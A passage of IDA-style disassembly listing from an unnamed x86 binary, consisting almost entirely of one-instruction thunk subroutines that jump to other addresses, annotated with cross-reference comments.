		jmp	sub_431470
sub_401762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401767	proc near		; CODE XREF: ___:0040AFF4p
		jmp	sub_4348A0
sub_401767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40176C	proc near		; CODE XREF: sub_418E80+5Fp
		jmp	sub_419110
sub_40176C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401771	proc near		; CODE XREF: ___:0041896Cp
		jmp	sub_418590
sub_401771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401776	proc near		; CODE XREF: ___:00416B1Bp
					; ___:00416DE3p ...
		jmp	sub_416DC0
sub_401776	endp

; ---------------------------------------------------------------------------
		jmp	loc_420EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401780	proc near		; CODE XREF: ___:00416EBFp
		jmp	sub_417E30
sub_401780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401785	proc near		; CODE XREF: sub_430B30+5Dp
					; sub_431B00+2Cp ...
		jmp	sub_4322D0
sub_401785	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F590

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178F	proc near		; CODE XREF: ___:00427370p
		jmp	sub_428880
sub_40178F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401794	proc near		; CODE XREF: ___:00426757p
		jmp	sub_426560
sub_401794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401799	proc near		; CODE XREF: ___:00416F9Ap
		jmp	sub_418360
sub_401799	endp

; ---------------------------------------------------------------------------
		jmp	loc_433200
; ---------------------------------------------------------------------------
		jmp	loc_4301A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A8	proc near		; CODE XREF: ___:004292B3p sub_429310j ...
		jmp	sub_4291E0
sub_4017A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017AD	proc near		; CODE XREF: ___:00416BCBp
					; ___:00416D93p ...
		jmp	sub_416D60
sub_4017AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B2	proc near		; DATA XREF: ___:off_43F17Co
		jmp	sub_42B3F0
sub_4017B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B7	proc near		; CODE XREF: sub_431240+D7p
		jmp	sub_432A20
sub_4017B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017BC	proc near		; CODE XREF: sub_40AF60+5j
					; ___:loc_4313CDp
		jmp	sub_432670
sub_4017BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_431420

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C6	proc near		; CODE XREF: sub_4266D0+10p
					; sub_4267D0+3Dp
		jmp	sub_4267A0
sub_4017C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017CB	proc near		; CODE XREF: sub_40AF80+5j
					; ___:loc_4313D5p ...
		jmp	sub_432690
sub_4017CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D0	proc near		; DATA XREF: ___:off_43F000o
		jmp	sub_404CC0
sub_4017D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D5	proc near		; CODE XREF: sub_4248E0+1Ep
					; sub_424920+A6p ...
		jmp	sub_424870
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DA	proc near		; CODE XREF: ___:00416B8Bp
					; ___:0043B234j ...
		jmp	sub_417A60
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DF	proc near		; CODE XREF: sub_416220+11p
					; ___:00416247p ...
		jmp	sub_4167F0
sub_4017DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E4	proc near		; CODE XREF: sub_415A10+3p
					; ___:0041626Fp ...
		jmp	sub_4164A0
sub_4017E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017E9	proc near		; CODE XREF: sub_415600+6Ap
					; sub_416030+32p
		jmp	sub_415F70
sub_4017E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017EE	proc near		; CODE XREF: sub_403530+DBp
					; sub_404010+3Fp ...
		jmp	sub_40A800
sub_4017EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017F3	proc near		; CODE XREF: ___:00421EAAp
		jmp	sub_422470
sub_4017F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017F8	proc near
		jmp	sub_40B2F0
sub_4017F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017FD	proc near		; CODE XREF: sub_4068E0+205p
		jmp	sub_41B920
sub_4017FD	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401807	proc near		; CODE XREF: ___:00427D03p
		jmp	sub_427D30
sub_401807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40180C	proc near		; CODE XREF: ___:00425F16p
					; ___:00425F47p
		jmp	sub_4257F0
sub_40180C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401811	proc near		; CODE XREF: sub_41E760+FFp
					; sub_41E760+179p ...
		jmp	sub_421B80
sub_401811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401816	proc near		; CODE XREF: sub_40A1F0+7p
		jmp	sub_40A210
sub_401816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40181B	proc near		; CODE XREF: sub_40B510+76p
		jmp	sub_40B470
sub_40181B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401820	proc near		; CODE XREF: ___:00423F8Dp
					; DATA XREF: ___:off_445424o
		jmp	sub_425100
sub_401820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401825	proc near		; CODE XREF: sub_41E760+18Ep
					; ___:0043C483j
		jmp	sub_4219F0
sub_401825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182A	proc near		; DATA XREF: ___:off_43F10Co
		jmp	sub_428210
sub_40182A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182F	proc near		; CODE XREF: ___:00416EDFp
		jmp	sub_417EF0
sub_40182F	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401839	proc near		; CODE XREF: sub_41E760+3BCp
					; sub_4226B0+3p
		jmp	sub_421D50
sub_401839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40183E	proc near		; CODE XREF: sub_427990+90p
		jmp	sub_427C50
sub_40183E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401843	proc near		; CODE XREF: ___:0042444Dp
					; sub_424920+135p
		jmp	sub_424480
sub_401843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401848	proc near		; CODE XREF: sub_40BF20+3p
					; ___:0040BFEFp ...
		jmp	sub_40C160
sub_401848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40184D	proc near		; CODE XREF: sub_407140+36p
					; sub_407140+72p ...
		jmp	sub_407390
sub_40184D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401852	proc near		; CODE XREF: ___:00413251p
		jmp	sub_415770
sub_401852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401857	proc near		; CODE XREF: ___:0040BAB1p
					; ___:0040BB78p ...
		jmp	sub_412B70
sub_401857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40185C	proc near		; CODE XREF: ___:004332DFp
					; ___:004333EFp ...
		jmp	sub_432E20
sub_40185C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401861	proc near		; DATA XREF: ___:0043359Ao
					; ___:00433700o
		jmp	sub_432E90
sub_401861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401866	proc near		; CODE XREF: sub_416460+7p
		jmp	sub_416840
sub_401866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40186B	proc near		; CODE XREF: sub_418430+34p
		jmp	sub_404C70
sub_40186B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401870	proc near		; CODE XREF: sub_403530+7Ap
					; sub_403530+9Ep ...
		jmp	sub_409C20
sub_401870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401875	proc near		; CODE XREF: sub_420630+152p
		jmp	sub_4208A0
sub_401875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187A	proc near		; CODE XREF: ___:0041A328p
					; sub_41B110+3p ...
		jmp	sub_41B140
sub_40187A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B060
; ---------------------------------------------------------------------------
		jmp	loc_41C1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401889	proc near		; CODE XREF: ___:00416B4Bp
					; ___:0043B26Cj ...
		jmp	sub_416E10
sub_401889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40188E	proc near		; CODE XREF: sub_410030+217p
					; sub_41FE90+4Cp ...
		jmp	sub_41FE50
sub_40188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401893	proc near		; CODE XREF: sub_42AD90+9Dp
		jmp	sub_429450
sub_401893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401898	proc near		; CODE XREF: ___:0042D2F5p
		jmp	sub_4290B0
sub_401898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40189D	proc near		; DATA XREF: ___:0043F184o
		jmp	sub_42B440
sub_40189D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A2	proc near		; CODE XREF: sub_41B5B0+DDp
		jmp	sub_41AE30
sub_4018A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A7	proc near
		jmp	sub_4341C0
sub_4018A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018AC	proc near		; CODE XREF: ___:00414295p
					; sub_414E10+1B2p
		jmp	sub_413E70
sub_4018AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B1	proc near		; CODE XREF: sub_4120B0+1B6p
		jmp	sub_40A1F0
sub_4018B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B6	proc near		; CODE XREF: sub_41E760+5ABp
		jmp	sub_4204D0
sub_4018B6	endp

; ---------------------------------------------------------------------------
		jmp	loc_433000

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C0	proc near		; CODE XREF: sub_40A9F0+14p
		jmp	sub_40ACA0
sub_4018C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C5	proc near		; CODE XREF: sub_4135E0+B4p
					; ___:00414C60p ...
		jmp	sub_415710
sub_4018C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CA	proc near		; CODE XREF: sub_41A3B0+6Dp
					; sub_41A3B0+1B5p
		jmp	sub_41B060
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CF	proc near		; CODE XREF: ___:004323CAp
		jmp	sub_431D80
sub_4018CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D4	proc near		; CODE XREF: sub_418F90+5Fp
		jmp	sub_419130
sub_4018D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D9	proc near		; CODE XREF: ___:00416B9Bp
					; ___:0043B226j ...
		jmp	sub_4179F0
sub_4018D9	endp

; ---------------------------------------------------------------------------
		jmp	loc_419ED0
; ---------------------------------------------------------------------------
		jmp	sub_41A1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018E8	proc near		; CODE XREF: sub_41E760+46p
		jmp	sub_4219B0
sub_4018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018ED	proc near		; CODE XREF: ___:0042D425p
		jmp	sub_42ACB0
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018F2	proc near		; CODE XREF: sub_422230+7p
		jmp	sub_422620
sub_4018F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018F7	proc near		; CODE XREF: sub_4220B0+9p
					; sub_422510+18p
		jmp	sub_422690
sub_4018F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018FC	proc near		; CODE XREF: sub_4222B0+8p
		jmp	sub_422670
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401901	proc near		; CODE XREF: sub_4134A0+43p
					; sub_4148A0+4Fp ...
		jmp	sub_415820
sub_401901	endp

; ---------------------------------------------------------------------------
		jmp	loc_431D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40190B	proc near		; CODE XREF: sub_421AD0+1Fp
		jmp	sub_421E50
sub_40190B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401910	proc near		; CODE XREF: sub_4219B0+11p
					; sub_421E50+1Fp
		jmp	sub_421F80
sub_401910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401915	proc near		; CODE XREF: sub_40B470+6Dp
		jmp	sub_40BE70
sub_401915	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40191A	proc near		; CODE XREF: sub_409530+13p
		jmp	sub_409660
sub_40191A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4378B0
; ---------------------------------------------------------------------------
		jmp	sub_41B110
; ---------------------------------------------------------------------------


loc_401929:				; DATA XREF: ___:off_43F068o
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40192E	proc near		; CODE XREF: ___:00413C01p
		jmp	sub_413A80
sub_40192E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401933	proc near		; CODE XREF: ___:00413263p
					; sub_4132F0+32p
		jmp	sub_4155B0
sub_401933	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401938	proc near		; CODE XREF: ___:00416C4Bp
					; ___:0043B18Cj ...
		jmp	sub_417120
sub_401938	endp

; ---------------------------------------------------------------------------
		jmp	loc_432390
; ---------------------------------------------------------------------------
		jmp	loc_4347E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401947	proc near		; CODE XREF: sub_41C710+F1p
					; sub_41C710+270p ...
		jmp	sub_420F10
sub_401947	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A4E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401951	proc near		; CODE XREF: sub_404CC0+283p
					; sub_40EE40+D2p ...
		jmp	sub_40F060
sub_401951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401956	proc near		; CODE XREF: sub_4219F0+34p
					; sub_422340+67p
		jmp	sub_421FD0
sub_401956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40195B	proc near		; CODE XREF: sub_404CC0+BF1p
		jmp	sub_406730
sub_40195B	endp

; ---------------------------------------------------------------------------
		jmp	loc_433650
; ---------------------------------------------------------------------------


loc_401965:				; DATA XREF: sub_41FD00+39o
		jmp	loc_41FC30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196A	proc near		; CODE XREF: ___:0041A29Ep
					; sub_41A3B0+Bp ...
		jmp	sub_41A390
sub_40196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196F	proc near		; CODE XREF: ___:0041AC86p
					; ___:0041AD66p
		jmp	sub_41A990
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401974	proc near
		jmp	sub_419320
sub_401974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401979	proc near		; CODE XREF: sub_4119E0+2Ep
					; sub_411BE0+3p
		jmp	sub_411B20
sub_401979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40197E	proc near		; CODE XREF: sub_41E760+F5p
					; sub_41E760+16Fp ...
		jmp	sub_421AA0
sub_40197E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401983	proc near		; CODE XREF: sub_409530+4p
					; sub_4096E0+1Fp ...
		jmp	sub_4095E0
sub_401983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401988	proc near
		jmp	sub_409B10
sub_401988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40198D	proc near		; CODE XREF: sub_41F960+20p
					; sub_42AD90+37p
		jmp	sub_41FF50
sub_40198D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401992	proc near		; CODE XREF: sub_4135E0+4Ap
					; ___:00414C0Fp ...
		jmp	sub_415500
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401997	proc near		; CODE XREF: sub_40A510+A8p
		jmp	sub_40A930
sub_401997	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40199C	proc near		; CODE XREF: sub_40CC90+41p
		jmp	sub_40CF40
sub_40199C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A1	proc near		; CODE XREF: ___:004346F5p
					; ___:004347F5p
		jmp	sub_434450
sub_4019A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A6	proc near		; CODE XREF: sub_4219F0+29p
		jmp	sub_421EF0
sub_4019A6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FFE0
; ---------------------------------------------------------------------------
		jmp	loc_42FFB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019B5	proc near		; CODE XREF: sub_40A870+Dp
					; sub_40AAD0+91p
		jmp	sub_40A9F0
sub_4019B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BA	proc near		; CODE XREF: sub_422150+23p
					; sub_422510+11p
		jmp	sub_4226B0
sub_4019BA	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AC20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C4	proc near		; CODE XREF: sub_404010+2Cp
					; ___:0040408Fp ...
		jmp	sub_403530
sub_4019C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C9	proc near		; CODE XREF: sub_422850+6p
		jmp	sub_4228C0
sub_4019C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019CE	proc near		; DATA XREF: ___:off_43F050o
		jmp	sub_416D30
sub_4019CE	endp

; ---------------------------------------------------------------------------
		jmp	sub_40FE40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019D8	proc near		; CODE XREF: sub_407460+4p
		jmp	sub_407590
sub_4019D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019DD	proc near		; CODE XREF: ___:0040B709p
					; ___:0040BB26p ...
		jmp	sub_40B600
sub_4019DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019E2	proc near		; CODE XREF: sub_410030+AF4p
					; sub_410030+E6Ap
		jmp	sub_411BE0
sub_4019E2	endp

; ---------------------------------------------------------------------------
		jmp	loc_433C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019EC	proc near		; CODE XREF: sub_4145A0+CEp
		jmp	sub_414710
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019F1	proc near		; DATA XREF: ___:0043F1C8o
		jmp	sub_42CB70
sub_4019F1	endp

; ---------------------------------------------------------------------------


loc_4019F6:				; DATA XREF: ___:off_43F0D0o
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019FB	proc near		; CODE XREF: sub_421B10+3p
		jmp	sub_422030
sub_4019FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A00	proc near		; CODE XREF: ___:00416E8Fp
		jmp	sub_40B190
sub_401A00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A05	proc near
		jmp	sub_4133B0
sub_401A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A0A	proc near		; CODE XREF: sub_41E760+477p
		jmp	sub_4201F0
sub_401A0A	endp

; ---------------------------------------------------------------------------
		jmp	loc_421950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A14	proc near		; DATA XREF: ___:0043F124o
		jmp	sub_428940
sub_401A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A19	proc near
		jmp	sub_411C10
sub_401A19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A1E	proc near		; CODE XREF: sub_4344C0+92p
		jmp	sub_431C30
sub_401A1E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4292B0
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A2D	proc near		; CODE XREF: sub_421EF0+32p
		jmp	sub_422340
sub_401A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A32	proc near		; CODE XREF: ___:00416BDBp
					; sub_416D30+3p ...
		jmp	sub_416D00
sub_401A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A37	proc near		; CODE XREF: ___:00423B04p
					; ___:004285E8p ...
		jmp	sub_420E00
sub_401A37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A3C	proc near		; CODE XREF: sub_422310+Ap
		jmp	sub_422720
sub_401A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A41	proc near		; CODE XREF: ___:00412F9Fp
					; ___:00413054p ...
		jmp	sub_404690
sub_401A41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A46	proc near		; CODE XREF: sub_409530+1Ap
					; sub_409610+4p ...
		jmp	sub_4095A0
sub_401A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A4B	proc near		; DATA XREF: ___:off_43F028o
		jmp	sub_40FE40
sub_401A4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A50	proc near		; DATA XREF: ___:0043F0E4o
		jmp	sub_427990
sub_401A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A55	proc near		; CODE XREF: ___:00426475p
		jmp	sub_426070
sub_401A55	endp

; ---------------------------------------------------------------------------
		jmp	loc_409E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5F	proc near		; CODE XREF: sub_415BA0+1Ep
		jmp	sub_416650
sub_401A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A64	proc near		; CODE XREF: ___:004305E0p
					; sub_4321F0+36p ...
		jmp	sub_431630
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A69	proc near		; CODE XREF: sub_4138B0+3Ep
		jmp	sub_434BF0
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A6E	proc near		; CODE XREF: sub_414A70+3p
		jmp	sub_414AA0
sub_401A6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A73	proc near		; CODE XREF: ___:0040829Fp
					; ___:00408730p
		jmp	sub_409570
sub_401A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A78	proc near		; DATA XREF: ___:0043F0E0o
					; ___:0043F0F0o ...
		jmp	sub_4276C0
sub_401A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A7D	proc near		; CODE XREF: sub_41D930+1ADp
		jmp	sub_42DB00
sub_401A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A82	proc near		; CODE XREF: sub_420630+191p
					; sub_4228C0+3p ...
		jmp	sub_4208C0
sub_401A82	endp

; ---------------------------------------------------------------------------
		jmp	loc_4302E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A8C	proc near		; CODE XREF: sub_4226E0+5p
		jmp	sub_422850
sub_401A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A91	proc near		; CODE XREF: ___:00416F4Ap
		jmp	sub_418200
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A96	proc near		; CODE XREF: sub_407270+5p
					; sub_407360+6p ...
		jmp	sub_4074B0
sub_401A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A9B	proc near		; CODE XREF: sub_403530+90p
					; sub_404CC0+40Cp ...
		jmp	sub_40A780
sub_401A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA0	proc near		; CODE XREF: sub_41D930+2FFp
					; sub_41F030+52Fp
		jmp	sub_41FE90
sub_401AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA5	proc near		; CODE XREF: ___:004330BAp
		jmp	sub_430B30
sub_401AA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AAA	proc near		; CODE XREF: sub_415570+1Fp
		jmp	sub_415ED0
sub_401AAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AAF	proc near		; CODE XREF: sub_403530+E5p
					; sub_409F50+Fp ...
		jmp	sub_409E80
sub_401AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB4	proc near		; CODE XREF: sub_432850+17p
					; sub_432850+33p
		jmp	sub_434A00
sub_401AB4	endp

; ---------------------------------------------------------------------------
		jmp	loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AC8	proc near		; CODE XREF: sub_424F70+E5p
					; sub_424F70+120p
		jmp	sub_424E20
sub_401AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ACD	proc near		; DATA XREF: ___:off_43F034o
		jmp	sub_4120B0
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD2	proc near		; DATA XREF: ___:0041FC33o
		jmp	sub_41FB90
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD7	proc near		; CODE XREF: sub_407140+Bp
		jmp	sub_407320
sub_401AD7	endp

; ---------------------------------------------------------------------------
		jmp	loc_433E90
; ---------------------------------------------------------------------------


loc_401AE1:				; DATA XREF: ___:off_43F020o
		jmp	loc_40B9B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AE6	proc near		; CODE XREF: sub_403F30+2Bp
					; sub_403F30+3Bp ...
		jmp	sub_403D60
sub_401AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AEB	proc near		; CODE XREF: sub_4135E0+66p
					; sub_4135E0+CAp ...
		jmp	sub_415740
sub_401AEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AF5	proc near
		jmp	sub_4228F0
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AFA	proc near		; CODE XREF: ___:00416C2Bp
					; ___:0043B1A8j ...
		jmp	sub_40B250
sub_401AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AFF	proc near		; CODE XREF: ___:00421864p
					; ___:0042189Ep
		jmp	sub_4216D0
sub_401AFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B04	proc near		; CODE XREF: sub_404C30+15p
		jmp	sub_407140
sub_401B04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B09	proc near		; DATA XREF: ___:off_43F0BCo
		jmp	sub_41A1E0
sub_401B09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B0E	proc near		; CODE XREF: ___:0041700Fp
		jmp	sub_418A00
sub_401B0E	endp

; ---------------------------------------------------------------------------


loc_401B13:				; CODE XREF: ___:00439F76j
		jmp	loc_40CBD0
; ---------------------------------------------------------------------------


loc_401B18:				; DATA XREF: ___:off_43F16Co
		jmp	loc_42B060

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B1D	proc near		; CODE XREF: sub_4170B0+28p
		jmp	sub_418990
sub_401B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B22	proc near		; CODE XREF: ___:00432CD7p
		jmp	sub_432D10
sub_401B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


